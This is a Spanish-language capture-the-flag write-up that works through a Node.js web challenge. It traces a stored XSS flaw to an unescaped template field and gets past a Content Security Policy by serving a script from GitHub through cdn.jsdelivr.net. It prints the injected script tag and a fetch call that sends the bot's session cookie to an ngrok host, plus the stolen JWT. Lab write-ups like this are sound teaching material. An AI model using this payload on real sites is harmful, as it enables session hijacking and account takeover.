Cursed Secret Party
5 minutos de lectura
Se nos proporciona esta página web:
Análisis de código estático
También tenemos el código fuente en JavaScript de la aplicación web, hecha en Node.js con Express JS. Este archivo es routes/index.js
:
const express = require('express');
const router = express.Router({ caseSensitive: true });
const AuthMiddleware = require('../middleware/AuthMiddleware');
const bot = require('../bot');
let db;
const response = data => ({ message: data });
router.get('/', (req, res) => {
return res.render('index.html');
});
router.post('/api/submit', (req, res) => {
const { halloween_name, email, costume_type, trick_or_treat } = req.body;
if (halloween_name && email && costume_type && trick_or_treat) {
return db.party_request_add(halloween_name, email, costume_type, trick_or_treat)
.then(() => {
res.send(response('Your request will be reviewed by our team!'));
bot.visit();
})
.catch(() => res.send(response('Something Went Wrong!')));
}
return res.status(401).send(response('Please fill out all the required fields!'));
});
router.get('/admin', AuthMiddleware, (req, res) => {
if (req.user.user_role !== 'admin') {
return res.status(401).send(response('Unautorized!'));
}
return db.get_party_requests()
.then((data) => {
res.render('admin.html', { requests: data });
});
});
router.get('/admin/delete_all', AuthMiddleware, (req, res) => {
if (req.user.user_role !== 'admin') {
return res.status(401).send(response('Unautorized!'));
}
return db.remove_requests()
.then(() => res.send(response('All records are deleted!')));
})
module.exports = database => {
db = database;
return router;
};
Vemos que al enviar el formulario anterior, habrá un bot que analizará la información. Este archivo es bot.js
:
const fs = require('fs');
const puppeteer = require('puppeteer');
const JWTHelper = require('./helpers/JWTHelper');
const flag = fs.readFileSync('/flag.txt', 'utf8');
const browser_options = {
headless: true,
args: [
'--no-sandbox',
'--disable-background-networking',
'--disable-default-apps',
'--disable-extensions',
'--disable-gpu',
'--disable-sync',
'--disable-translate',
'--hide-scrollbars',
'--metrics-recording-only',
'--mute-audio',
'--no-first-run',
'--safebrowsing-disable-auto-update',
'--js-flags=--noexpose_wasm,--jitless'
]
};
const visit = async () => {
try {
const browser = await puppeteer.launch(browser_options);
let context = await browser.createIncognitoBrowserContext();
let page = await context.newPage();
let token = await JWTHelper.sign({ username: 'admin', user_role: 'admin', flag: flag });
await page.setCookie({
name: 'session',
value: token,
domain: '127.0.0.1:1337'
});
await page.goto('http://127.0.0.1:1337/admin', {
waitUntil: 'networkidle2',
timeout: 5000
});
await page.goto('http://127.0.0.1:1337/admin/delete_all', {
waitUntil: 'networkidle2',
timeout: 5000
});
setTimeout(() => {
browser.close();
}, 5000);
} catch(e) {
console.log(e);
}
};
module.exports = { visit };
Básicamente, se trata de un bot puppeteer
que se pone un token JWT como cookie y navega a /admin
. Como se vio antes, en la ruta /admin
se consulta la información que se envió en el formulario y se renderiza en admin.html
:
<html>
<head>
<link rel="stylesheet" href="/static/css/bootstrap.min.css" />
<title>Admin panel</title>
</head>
<body>
<div class="container" style="margin-top: 20px">
{% for request in requests %}
<div class="card">
<div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
<div class="card-body">
<p class="card-title"><strong>Email Address</strong> : {{ request.email }}</p>
<p class="card-text"><strong>Costume Type </strong> : {{ request.costume_type }} </p>
<p class="card-text"><strong>Prefers tricks or treat </strong> : {{ request.trick_or_treat }} </p>
<button class="btn btn-primary">Accept</button>
<button class="btn btn-danger">Delete</button>
</div>
</div>
{% endfor %}
</div>
</body>
</html>
Vulnerabilidad de XSS
Esta línea de código es vulnerable a inyección de código HTML:
<div class="card-header"> <strong>Halloween Name</strong> : {{ request.halloween_name | safe }} </div>
La palabra clave safe
se utiliza para decir al motor de plantillas que request.halloween_name
contiene código HTML seguro. Sin embargo, nosotros controlamos este campo, por lo que podemos introducir código HTML “de forma segura” y obtener Cross-Site Scripting (XSS) en el navegador del bot.
Configuración de CSP
No obstante, hay un Content Security Policy aplicado para mitigar los ataques XSS (index.js
):
app.use(function (req, res, next) {
res.setHeader(
"Content-Security-Policy",
"script-src 'self' https://cdn.jsdelivr.net ; style-src 'self' https://fonts.googleapis.com; img-src 'self'; font-src 'self' https://fonts.gstatic.com; child-src 'self'; frame-src 'self'; worker-src 'self'; frame-ancestors 'self'; form-action 'self'; base-uri 'self'; manifest-src 'self'"
);
next();
});
Podemos emplear csp-evaluator para analizar los fallos de este CSP:
Como vemos, podemos abusar de cdn.jsdelivr.net para conseguir XSS, ya que se trata de un dominio confiado para servir scripts. Existe una manera de decirle a cdn.jsdelivr.net que coja el código de un repositorio de GitHub específico. Por tanto, solamente necesitamos crear el archivo JavaScript malicioso en un repositorio de GitHub público, decirle a cdn.jsdelivr.net que lo use y cargarlo como script en el campo de nombre (donde estaba la inyección de código HTML).
Explotación
El objetivo es conseguir la cookie del bot (que es un token JWT que contiene la flag). Podemos hacer esto mediante una petición HTTP a nuestro servidor de atacante agregando la cookie como parámetro.
Para exponer nuestro servidor local, podemos emplear ngrok
:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
$ ngrok -m http 80
ngrok
Try our new native Go library: https://github.com/ngrok/ngrok-go
Session Status online
Account Rocky (Plan: Free)
Version 3.1.0
Region United States (us)
Latency 106ms
Web Interface http://127.0.0.1:4040
Forwarding https://abcd-12-34-56-78.ngrok.io -> http://localhost:80
Connections ttl opn rt1 rt5 p50 p90
0 0 0.00 0.00 0.00 0.00
Ahora creamos este archivo JavaScript:
fetch('https://abcd-12-34-56-78.ngrok.io?c=' + document.cookie)
Y creamos un repositorio de GitHub con este archivo:
Tenemos que coger el identificador del commit (5057a9ed285c20d243f7a44a6dd3578cc886ad36
) para poder construir la URI de cdn.jsdelivr.net. Tenemos que seguir el siguiente formato:
https://cdn.jsdelivr.net/gh/user/repo@version/file
Entonces, esta es la URI:
https://cdn.jsdelivr.net/gh/7Rocky/friendly-octo-eureka@5057a9ed285c20d243f7a44a6dd3578cc886ad36/solve.js
Flag
En este punto, podemos poner este nombre:
<script src="https://cdn.jsdelivr.net/gh/7Rocky/friendly-octo-eureka@5057a9ed285c20d243f7a44a6dd3578cc886ad36/solve.js"></script>
Y recibimos la petición en nuestro servidor local:
$ python3 -m http.server 80
Serving HTTP on :: port 80 (http://[::]:80/) ...
::1 - - [29/Oct/2022 14:45:21] "GET /?c=session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9yb2xlIjoiYWRtaW4iLCJmbGFnIjoiSFRCe2Nkbl9jNG5fYnlwNHNzX2M1cCEhfSIsImlhdCI6MTY2NzA0NzUyMH0.gJX2JIMeUMH4ud-cRckmvWL2GpmDB71j_vcXMbPDq1s HTTP/1.1" 200 -
Si decodificamos la parte central del token JWT (la parte de datos), obtendremos la flag:
$ echo eyJ1c2VybmFtZSI6ImFkbWluIiwidXNlcl9yb2xlIjoiYWRtaW4iLCJmbGFnIjoiSFRCe2Nkbl9jNG5fYnlwNHNzX2M1cCEhfSIsImlhdCI6MTY2NzA0NzUyMH0 | base64 -d
{"username":"admin","user_role":"admin","flag":"HTB{cdn_c4n_byp4ss_c5p!!}","iat":166704752